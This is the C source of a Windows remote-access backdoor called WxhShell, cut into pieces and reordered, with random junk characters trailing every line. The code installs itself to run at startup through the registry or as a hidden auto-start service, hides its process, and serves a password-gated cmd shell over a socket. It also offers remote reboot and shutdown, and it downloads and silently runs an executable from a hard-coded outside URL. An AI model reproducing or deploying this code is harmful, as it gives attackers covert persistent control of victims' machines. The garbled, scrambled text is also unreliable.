    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !WD~zZ|  
    if(Boot(SHUTDOWN)) gQ@fe3[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [hT|]|fJS;  
    else { o/Cu^[an  
    closesocket(wsh); -WX{ y Ci  
    ExitThread(0); ?6[X=GeUs  
    } )Ap0" ?q  
    break; sF=8E8qa   
    } D+:}D*_&  
  // 获取shell t/HUG#W{  
  case 's': { %ymM#5A  
    CmdShell(wsh); j%y)%4F8  
    closesocket(wsh); IhYTK%^96  
    ExitThread(0); oA1d8*i^E  
    break; 6%&RDrn  
  } U;Ne"Jh  
  // 退出 %ut7T!Jp  
  case 'x': { Q|`sYm'.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }1/`<m  
    CloseIt(wsh); ,9:0T LLR  
    break; )(&WhZc Z  
    } yj+HU5L4  
  // 离开 (GNY::3  
  case 'q': { |{8eoF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LBkAi(0rd  
    closesocket(wsh); 7Vd"AVn}g  
    WSACleanup(); :)9 ^T<  
    exit(1); 4Nx]*\\  
    break; [x.Dw U%S  
        } iA[WDB\|0  
  } Ef2#}%>  
  } o/U"'FP  
~YX!49XfHh  
  // 提示信息 &xGcxFd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D\ H) uV`  
} a &89K  
  } &74*CO9B9  
qU) pBA  
  return; ZrA OX'>u9  
} i1kTP9  
0R0j7\{  
// shell模块句柄 XZk?aik}`  
int CmdShell(SOCKET sock) jPjFp35;zb  
{ Td`0;R'<}c  
STARTUPINFO si; dGrm1w  
ZeroMemory(&si,sizeof(si)); [MkXQwY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5ma*&Q8+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [7:(e/&  
PROCESS_INFORMATION ProcessInfo; '#fwNbD  
char cmdline[]="cmd"; 3~%wA(|A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?l3PDorR  
  return 0; ,X2CV INb}  
} w53+k\.  
'*PJ-=G  
// 自身启动模式 *&\fBi]  
int StartFromService(void)  #)r  
{ k7\h- yn{  
typedef struct ^q uv`d  
{ UUF;Q0X  
  DWORD ExitStatus; /4R|QD  
  DWORD PebBaseAddress; xfE:r:  
  DWORD AffinityMask; (Es0n$Xb  
  DWORD BasePriority; N>'T"^S/  
  ULONG UniqueProcessId; d1`us G"  
  ULONG InheritedFromUniqueProcessId; cTR@ :sm  
}   PROCESS_BASIC_INFORMATION; T%\f$jh6  
4l6+8/Y  
PROCNTQSIP NtQueryInformationProcess; 0{Kb1Ut  
.<!Jhf$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ba9le|c5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .-6B6IEI_"  
>$.lM~k  
  HANDLE             hProcess; b\U p(]  
  PROCESS_BASIC_INFORMATION pbi; f0^DsP  
iYyJq;S   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BtZycI  
  if(NULL == hInst ) return 0; 8u401ddg  
0PK*ULwSN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3r)<:4a u&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^_cR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c%|18dV  
;LBq!  
  if (!NtQueryInformationProcess) return 0; dz6i~&  
{=Y.Z1E:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ny.s u?E  
  if(!hProcess) return 0; F`3J=AJOJ  
YXR%{GUP[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j^g^=uau  
Z5vpo$l  
  CloseHandle(hProcess); YB}p`b42L  
]Y%?kQ^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6n 2LG  
if(hProcess==NULL) return 0; !i|]OnJY  
er0hf2N]  
HMODULE hMod; O%(E 6 n  
char procName[255]; q x1}e  
unsigned long cbNeeded; ~t $zypw  
}538vFNi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4mG?$kCN  
kc3dWWPe  
  CloseHandle(hProcess); Puu O2TZ  
0V5 RZ`.  
if(strstr(procName,"services")) return 1; // 以服务启动 y8$TU;  
)_bR"!Z  
  return 0; // 注册表启动 O~r.sJ}  
} +~6gP!  
Wm5/>Cu,  
// 主模块 H!D?;X  
int StartWxhshell(LPSTR lpCmdLine) * 7ki$f!  
{ &J\V !uVo  
  SOCKET wsl; *}t,:N;i  
BOOL val=TRUE; )1KlcF  
  int port=0; JVzU'd;1!  
  struct sockaddr_in door; ]"3(UKx  
@bN`+DC!<  
  if(wscfg.ws_autoins) Install(); H$ !78/f  
vKzq7E  
port=atoi(lpCmdLine); .}}w@NO  
FM c9oyU~  
if(port<=0) port=wscfg.ws_port; 50:$km\  
-!dL <  
  WSADATA data; >k6RmN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !$:lv)y  
'$]u?m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PQmgv&!DP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ; 7`y##  
  door.sin_family = AF_INET; m)A~1+M$)L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'NM$<<0  
  door.sin_port = htons(port); +v 9@du  
'g8~uP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n$*'J9W~  
closesocket(wsl); VQr)VU=jb  
return 1; M>CW(X  
} ddDl~&}o  
7Ca+Pe}/n,  
  if(listen(wsl,2) == INVALID_SOCKET) { *}Al0\q0M  
closesocket(wsl); g4BEo'  
return 1; AwhXCq|k  
} `7|\Gqy  
  Wxhshell(wsl); 0L "+,  
  WSACleanup(); PKoB~wLH  
<z3:*=!  
return 0; 3[RbVT  
cO,ELu  
} j5*W[M9W  
;:JTb2xbb  
// 以NT服务方式启动 v2>.+Eh#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pPUv8, %  
{ HWFI6N  
DWORD   status = 0; w6k\po=  
  DWORD   specificError = 0xfffffff; `ySmzp  
o(,u"c/Or  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ncEOz1u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {L[n\h.4.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &;~x{q]3  
  serviceStatus.dwWin32ExitCode     = 0; o}XbFL n  
  serviceStatus.dwServiceSpecificExitCode = 0; `%lgT+~T  
  serviceStatus.dwCheckPoint       = 0; \:cr2w'c  
  serviceStatus.dwWaitHint       = 0; #>m#i1Nu  
w<?v78sT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (UDR=7w)  
  if (hServiceStatusHandle==0) return; $7{|  
;><9R@0  
status = GetLastError(); 6Q&R,"!$p  
  if (status!=NO_ERROR) U*G9fpVy  
{ [vuqH:Ln  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K)|#FRPM u  
    serviceStatus.dwCheckPoint       = 0; 6{rH|Z  
    serviceStatus.dwWaitHint       = 0; $?^#G8J  
    serviceStatus.dwWin32ExitCode     = status; ?@"B:#l  
    serviceStatus.dwServiceSpecificExitCode = specificError; #GBe=tm\K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FF:Y7wXW  
    return; JzA`*X[  
  } zG_e=   
:T5p6:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nu {bEp  
  serviceStatus.dwCheckPoint       = 0; Is~bA_- ;  
  serviceStatus.dwWaitHint       = 0; F&r+"O)^-R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J1I"H<}-6  
} 8iTX}$t\{  
d($f8{~W  
// 处理NT服务事件,比如:启动、停止 ;<Dou7=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uf;^yQi  
{ $9v:(:!Bm  
switch(fdwControl) y6|&bJ @  
{ T<*i($ [  
case SERVICE_CONTROL_STOP: ~Uw **PT3M  
  serviceStatus.dwWin32ExitCode = 0; 6,j6,Q(67  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qGtXReK  
  serviceStatus.dwCheckPoint   = 0; =;.#Bds  
  serviceStatus.dwWaitHint     = 0; wv>uT{g#  
  { Z~}=q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M{S7tMX  
  } 30 Vv Zb  
  return;  k~#F@_  
case SERVICE_CONTROL_PAUSE: >W,1s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,5jE9  
  break; =/@c9QaV B  
case SERVICE_CONTROL_CONTINUE: z= pb<Y@X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IxwOzpr  
  break; jq{rNxdGx  
case SERVICE_CONTROL_INTERROGATE: ,^ MA,"8  
  break; gd>Op  
}; |r"1 &ow5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sr)rKc  
} q^],K'  
j[ !'l,I  
// 标准应用程序主函数 kN9pl^2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K8y/U(@|D  
{ =T$-idx1l  
CybHr#LBc  
// 获取操作系统版本 K9co_n_L  
OsIsNt=GetOsVer(); gTRm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5?),6o);  
yW.s?3X  
  // 从命令行安装 T"Ph@I<  
  if(strpbrk(lpCmdLine,"iI")) Install(); $\>GQ~k  
p:u?a,p  
  // 下载执行文件 S/CT;M@W  
if(wscfg.ws_downexe) { "WOY`su>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^g`1SU`  
  WinExec(wscfg.ws_filenam,SW_HIDE); SGn:f>N  
} JF]HkH_u  
L*tn>AO  
if(!OsIsNt) { mBgMu@zt)  
// 如果时win9x,隐藏进程并且设置为注册表启动 }PGl8F !  
HideProc(); D\8~3S'd  
StartWxhshell(lpCmdLine); :(EU\yCzK  
} x0wy3+GZc  
else dxlaoyv:  
  if(StartFromService()) E 5PefD\m  
  // 以服务方式启动 L- [<C/`;t  
  StartServiceCtrlDispatcher(DispatchTable); ^y"Rdv  
else }YHoWYR  
  // 普通方式启动 z5Hz-.  
  StartWxhshell(lpCmdLine);  Ex35  
Wbc*x  
return 0; F,^Q'$ !  
} HaI  
9aT#7B  
s }q6@I  
AZcW f8  
=========================================== T'2(sHk  
SlvQ)jw%  
EeWCy5W  
u= ( kii=/  
RWf4Wh?d  
('!90  
" &G?b|Tb2  
?1 $.^  
#include <stdio.h> @qH{;  
#include <string.h> H"f%\'  
#include <windows.h> ?g2Wu0<  
#include <winsock2.h> Gc}d#oo*k  
#include <winsvc.h> FCU~*c8Cs  
#include <urlmon.h> dL5u-<y&  
; 1K[N0xE  
#pragma comment (lib, "Ws2_32.lib") 'bj$ZM9  
#pragma comment (lib, "urlmon.lib") OpmI" 4{+  
8E{<t}  
#define MAX_USER   100 // 最大客户端连接数 @%@uZqQ4  
#define BUF_SOCK   200 // sock buffer ;cIs$  
#define KEY_BUFF   255 // 输入 buffer [aX'eM q  
p%5RE%u  
#define REBOOT     0   // 重启 3B95t-  
#define SHUTDOWN   1   // 关机 -%"Kxe  
_ v\=ag  
#define DEF_PORT   5000 // 监听端口 MnUal}MO  
n *|F=fl  
#define REG_LEN     16   // 注册表键长度 .x7d!t:(D  
#define SVC_LEN     80   // NT服务名长度 ~0r:Wcj x  
bY7d  
// 从dll定义API K:/%7A_{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eZs34${fN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :a(er'A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^yiRrcOo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [_ESR/&N  
u$d T^c  
// wxhshell配置信息 "1_eZ`  
struct WSCFG { XJTY91~R  
  int ws_port;         // 监听端口 S{aK\>>H  
  char ws_passstr[REG_LEN]; // 口令 MDa 4U@Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no dN J2pfvv  
  char ws_regname[REG_LEN]; // 注册表键名 h{I)^8,M  
  char ws_svcname[REG_LEN]; // 服务名 1I^[_ /_\y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s<LF=qGu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ziCTvT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9.f/d4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h\afO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K"-.K]O8E%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <zH24[  
J< BBM.^]  
}; WjtmV2b<7  
8@ck" LUzD  
// default Wxhshell configuration a=\r~Z7E  
struct WSCFG wscfg={DEF_PORT, p7}x gUxX  
    "xuhuanlingzhe", .p&4]6  
    1, uG@Nubdwuy  
    "Wxhshell", m[,! orq  
    "Wxhshell", xpt*S~  
            "WxhShell Service", 8W Mhe=[  
    "Wrsky Windows CmdShell Service", V~` ?J6  
    "Please Input Your Password: ", XfmPq'#Z  
  1, }-9  
  "http://www.wrsky.com/wxhshell.exe", smW 7zGE  
  "Wxhshell.exe" V9f$zjpw  
    }; _v:t$k#sN  
&m_4#  
// 消息定义模块 \&|)?'8rS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PJLSDIeN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DYkNP: +  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `Xvrf  
char *msg_ws_ext="\n\rExit."; [f,; +Ze  
char *msg_ws_end="\n\rQuit."; EOWLGleD1  
char *msg_ws_boot="\n\rReboot..."; p me5frM|  
char *msg_ws_poff="\n\rShutdown..."; 'v iF8?_  
char *msg_ws_down="\n\rSave to "; deO/`  
l -us j%\  
char *msg_ws_err="\n\rErr!"; -bT1Qh X  
char *msg_ws_ok="\n\rOK!"; 7<DlA>(oUX  
7(AB5.O  
char ExeFile[MAX_PATH]; SbI %|  
int nUser = 0; rAq2   
HANDLE handles[MAX_USER]; p5&:>>  
int OsIsNt; +m kub}<a  
y}dop1zp  
SERVICE_STATUS       serviceStatus; @w|'ip5@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ],9%QE  
86$9)UI  
// 函数声明 Lgl%fO/<t  
int Install(void); e>\[OwF-x  
int Uninstall(void); uuW._$.A>  
int DownloadFile(char *sURL, SOCKET wsh); `+cc{k  
int Boot(int flag); 0w}OE8uq  
void HideProc(void); D9^.Eg8W  
int GetOsVer(void); n!e4"|4~z  
int Wxhshell(SOCKET wsl); hOjy$Z  
void TalkWithClient(void *cs); yUcWX bT@  
int CmdShell(SOCKET sock); P 0v&*y3Y  
int StartFromService(void); y6tzmyg  
int StartWxhshell(LPSTR lpCmdLine); _Vr>/f  
&|'k)6Rx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qg6283'?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ousvsP%'  
n 5h4]u  
// 数据结构和表定义 Lq.aM.&;#  
SERVICE_TABLE_ENTRY DispatchTable[] = ^6tGj+D9  
{ :=!?W^J  
{wscfg.ws_svcname, NTServiceMain}, jy#'oadS?  
{NULL, NULL} z)N8#Y~vn  
}; `) s]T.-  
fH[Yc>(oj  
// 自我安装 ^y"5pf SR  
int Install(void) @%mJw u  
{ YD1 :m3l!  
  char svExeFile[MAX_PATH]; X,dOF=OJL  
  HKEY key; (F9U`1~4  
  strcpy(svExeFile,ExeFile); -)_"7}|u5  
_GSl}\  
// 如果是win9x系统,修改注册表设为自启动 ,x#5.Koz  
if(!OsIsNt) { qBL >C\V +  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #)hc^gIO&<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G*.}EoA  
  RegCloseKey(key); Kv3cKNvu~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @X\-c2=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SJ4[n.tPI  
  RegCloseKey(key); jinDKJ,n;  
  return 0; \=3V]7\&  
    } . Z 93S|q  
  } NJ\ID=3l  
} n@IpO i$Q  
else { ^)|8N44O  
`rEu8u  
// 如果是NT以上系统,安装为系统服务 c!n\?lB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T 2Uu/^  
if (schSCManager!=0) 8bT]NvCA  
{ Hxe!68{aR  
  SC_HANDLE schService = CreateService dJ~AMol  
  ( O~Eju  
  schSCManager, BVAxeXO  
  wscfg.ws_svcname, (/6~*<ZGT  
  wscfg.ws_svcdisp, k$j4~C'$  
  SERVICE_ALL_ACCESS, Kxs_R#k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >6xZF'4  
  SERVICE_AUTO_START, >drG,v0qh  
  SERVICE_ERROR_NORMAL, }',/~T6  
  svExeFile, "`;$wA  
  NULL, ;VVKn=X=S=  
  NULL, :5`=9 _|  
  NULL, 3 sUTdCnNf  
  NULL, f'501MJu  
  NULL )nncCU W  
  ); Rs*]I\  
  if (schService!=0) (.Q.S[<Y  
  { w<}kY|A"=-  
  CloseServiceHandle(schService); <OF2\#Nh  
  CloseServiceHandle(schSCManager); OEMYS I%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BllS3I}V  
  strcat(svExeFile,wscfg.ws_svcname); =z_.RE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `r?xo7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q7u/k$qN  
  RegCloseKey(key); i|5.DhK}  
  return 0; {p -q&k&R|  
    } |ipL.<v7  
  } Pv@P(y?\  
  CloseServiceHandle(schSCManager); pGS!Nn;K2  
} ,+LX.f&/8!  
} V $'~2v{_  
 hsYS<]  
return 1; %+BiN)R*x  
} ~MuD`a7#G  
s#phs `v  
// 自我卸载 t]dtBt].:  
int Uninstall(void) LU'<EXUbY  
{ YVSAYv_ZG}  
  HKEY key; Tvdg:[V<  
2VB|a;Mo  
if(!OsIsNt) { =8`!Ph@(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _[J @w.l(  
  RegDeleteValue(key,wscfg.ws_regname); \OR=+\].9  
  RegCloseKey(key); .K I6<k/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "}"hQ.kAz  
  RegDeleteValue(key,wscfg.ws_regname); [w>T.b  
  RegCloseKey(key); Wd9y8z;  
  return 0; OPi><8x  
  } 2L\}  
} Nu}x`Qkmr  
} G3[X.%g`  
else { DcjF $E  
|AgdD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j%_{tB  
if (schSCManager!=0) ?%)G%2  
{ ;^fGQ]`4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j.}@9  
  if (schService!=0) |_fmbG  
  { O $ p  
  if(DeleteService(schService)!=0) { 'aj97b;lpG  
  CloseServiceHandle(schService); mI$<+S1!  
  CloseServiceHandle(schSCManager); "#<P--E9  
  return 0; #RfNk;kaA  
  } }02#[vg  
  CloseServiceHandle(schService); H@-txO1`::  
  } g3fxf(iY(  
  CloseServiceHandle(schSCManager); Dm^Bk?#(  
} A@:h\<  
} ->H4!FS  
/RWQ+Zf-Y]  
return 1; {nr}C4]o  
} [Un~]E.'J  
roiUVisq*  
// 从指定url下载文件 whoM$  &  
int DownloadFile(char *sURL, SOCKET wsh) *!mT#Vm^  
{ QB3vp4pBg@  
  HRESULT hr; =x_~7 Xc{  
char seps[]= "/"; rzl0*CR  
char *token; x-hr64WFK  
char *file;  /y2)<{{I  
char myURL[MAX_PATH]; p'@| O q&  
char myFILE[MAX_PATH]; Y! 8 I  
CO%o.j=1  
strcpy(myURL,sURL); utH/E7^8  
  token=strtok(myURL,seps); F=T};b  
  while(token!=NULL) ( vO\h8  
  { @^O+ulLJ,]  
    file=token; }KEL{VUX  
  token=strtok(NULL,seps); 2cnyq$4k  
  } `<cn b!]  
[wLK*9@&  
GetCurrentDirectory(MAX_PATH,myFILE); S)n+E\c  
strcat(myFILE, "\\"); 9Q*T'+V  
strcat(myFILE, file); DK6^\k][V  
  send(wsh,myFILE,strlen(myFILE),0); VM.4w.})_E  
send(wsh,"...",3,0); q3_ceXYU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uT\|jv,  
  if(hr==S_OK) w#-J ?/m  
return 0; @.D1_A  
else @2X{e7+D  
return 1; o+}>E31a  
o.o$dg(r!  
} w6Owfq'v  
>14 x.c  
// 系统电源模块 }{oZdO  
int Boot(int flag) xJNV^u  
{ @Yu=65h  
  HANDLE hToken; i(hL6DLD  
  TOKEN_PRIVILEGES tkp; p-qt?A  
mFGiysM  
  if(OsIsNt) { ^yl)c \`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z\kiYQ6kA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eH0^d5bH  
    tkp.PrivilegeCount = 1; N(7UlS,u'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EFk9G2@_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,NA _pvH)  
if(flag==REBOOT) { Z)Zc9SVC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  K}OY!|  
  return 0; ` !um )4  
} i 6DcLE  
else { _ Vo35kA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g)L?C'BG  
  return 0; ZcQ@%XY3~  
} bJWPr  
  } L-,C5^  
  else { l(B(gPvU  
if(flag==REBOOT) { Zf,9 k".'C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) llK7~uOC  
  return 0; cYeC7l "  
} N -z  
else { n2p(@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I@M3u/7  
  return 0; ;WP%)Z  
} 8*7,qX  
} l5/!0]/  
kGkfLY6B  
return 1; Wcf;ZX  
} - ^f>=xa4J  
|Nf90.dL  
// win9x进程隐藏模块 ?TLzOYJp  
void HideProc(void) lx H3a :gm  
{ [S:{$4&  
h1U8z)D#   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X:Iam#H  
  if ( hKernel != NULL ) tD j/!L`  
  { kc:>[{9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [" PRxl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DKG99biJN  
    FreeLibrary(hKernel); b" PRa|]  
  } 7`pK=E}+  
=[D '3JB  
return; 7jzd I!  
} EyK F5TP0  
Ia%S=xU{=  
// 获取操作系统版本 "BvAiT{u  
int GetOsVer(void) 3[UB3F 4K  
{ i2y E-sgF  
  OSVERSIONINFO winfo; p_:bt7 B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "0sk(kT  
  GetVersionEx(&winfo); !zR1CM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1:j[p=Q&  
  return 1; VX+:C(m~  
  else b9L" ?{  
  return 0; sVNM#,  
} I$Ra*r  
SKdh!*G  
// 客户端句柄模块 c*N>7IF,  
int Wxhshell(SOCKET wsl) gY/p\kwsj  
{ H3Zs m)+:  
  SOCKET wsh; J};=)xLX;  
  struct sockaddr_in client; Fs 95^T  
  DWORD myID; d# >iFD+  
6%\&m|S  
  while(nUser<MAX_USER) z<jH{AU  
{ lWRRB&8  
  int nSize=sizeof(client); F4|U\,g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U^~jB= =]  
  if(wsh==INVALID_SOCKET) return 1; sqE? U*8.-  
]N4?*S*jd)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JIh:IR(ta  
if(handles[nUser]==0) RbN# dI'  
  closesocket(wsh); ^)i1b:4  
else B4kJ 7Pdny  
  nUser++; tvEf-z  
  } Wu|ANc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1c19$KHu  
a bw7{%2  
  return 0; d#Xt2   
} (d ?sFwOt\  
+hL%8CVU M  
// 关闭 socket =*'K'e>P3  
void CloseIt(SOCKET wsh) # M18&ld,r  
{ h3BDHz,  
closesocket(wsh); UgC{  
nUser--; <"HbX  
ExitThread(0); <UE-9g5?G  
} w\`u |f;Aq  
< /\y<]b  
// 客户端请求句柄 ;Svs|]d  
void TalkWithClient(void *cs) }Q#3\z5  
{ -8pQI  
6U?z  
  SOCKET wsh=(SOCKET)cs; grbUR)f<?-  
  char pwd[SVC_LEN]; ?_BK(kL_  
  char cmd[KEY_BUFF]; yRtxh_wr9  
char chr[1]; 6Sr}I,DG  
int i,j; T^1]|P  
1J?x2  
  while (nUser < MAX_USER) { 89+Q^79m  
eUZvJTE  
if(wscfg.ws_passstr) { #Ks2a):8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N799@:.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $^Z ugD  
  //ZeroMemory(pwd,KEY_BUFF); oJln"-M1nx  
      i=0; >j}.~$6dj_  
  while(i<SVC_LEN) { 5fuB((fd(  
W,-fnJk  
  // 设置超时 |4?O4QN  
  fd_set FdRead; m)oGeD( !  
  struct timeval TimeOut; G~FAChI8![  
  FD_ZERO(&FdRead); sUTfY|<7|  
  FD_SET(wsh,&FdRead); *-lw2M9V  
  TimeOut.tv_sec=8; "&{sE RYY  
  TimeOut.tv_usec=0; x17K8De  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Kq4b`cn{_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K'u66%wAL  
}35HKgqX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s:f%=4-7  
  pwd=chr[0]; )a0%62  
  if(chr[0]==0xd || chr[0]==0xa) { SO8b~N  
  pwd=0; m{{ 8#@g  
  break; Xm I63W*  
  } yf@DaIG  
  i++;  Unc_e  
    } `p\@b~GM  
Lq cHsUFj  
  // 如果是非法用户,关闭 socket riz[AAB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d%w#a3(  
} aA3KJa  
C'oNGOEd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #24 eogo~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;:#g\|(<+  
% >}{SS  
while(1) { \$[; d:9j  
]aqg{XdGt  
  ZeroMemory(cmd,KEY_BUFF); pj/w9j G6  
ML-?#jNa<  
      // 自动支持客户端 telnet标准   SU80i`  
  j=0; dWDM{t\}\  
  while(j<KEY_BUFF) { wD|I^y;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =lG/A[66  
  cmd[j]=chr[0]; {(j1#9+9  
  if(chr[0]==0xa || chr[0]==0xd) { ,[{Z_co  
  cmd[j]=0; H%^j yGS  
  break; c$AwJhl^]  
  } Jh!'"7  
  j++; pon0!\ZT=  
    } wr{ [4$O  
K! e51P  
  // 下载文件 Ubf@"B  
  if(strstr(cmd,"http://")) { '3eL^Aq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z&[_8Y5j  
  if(DownloadFile(cmd,wsh)) ;f l3'.S[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2uy<wJE >  
  else MlmdfO%Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vpL3XYs`  
  } O=2SDuBZ  
  else { Z @d(0 z  
6-!U\R2Z>  
    switch(cmd[0]) { P{ HYZg  
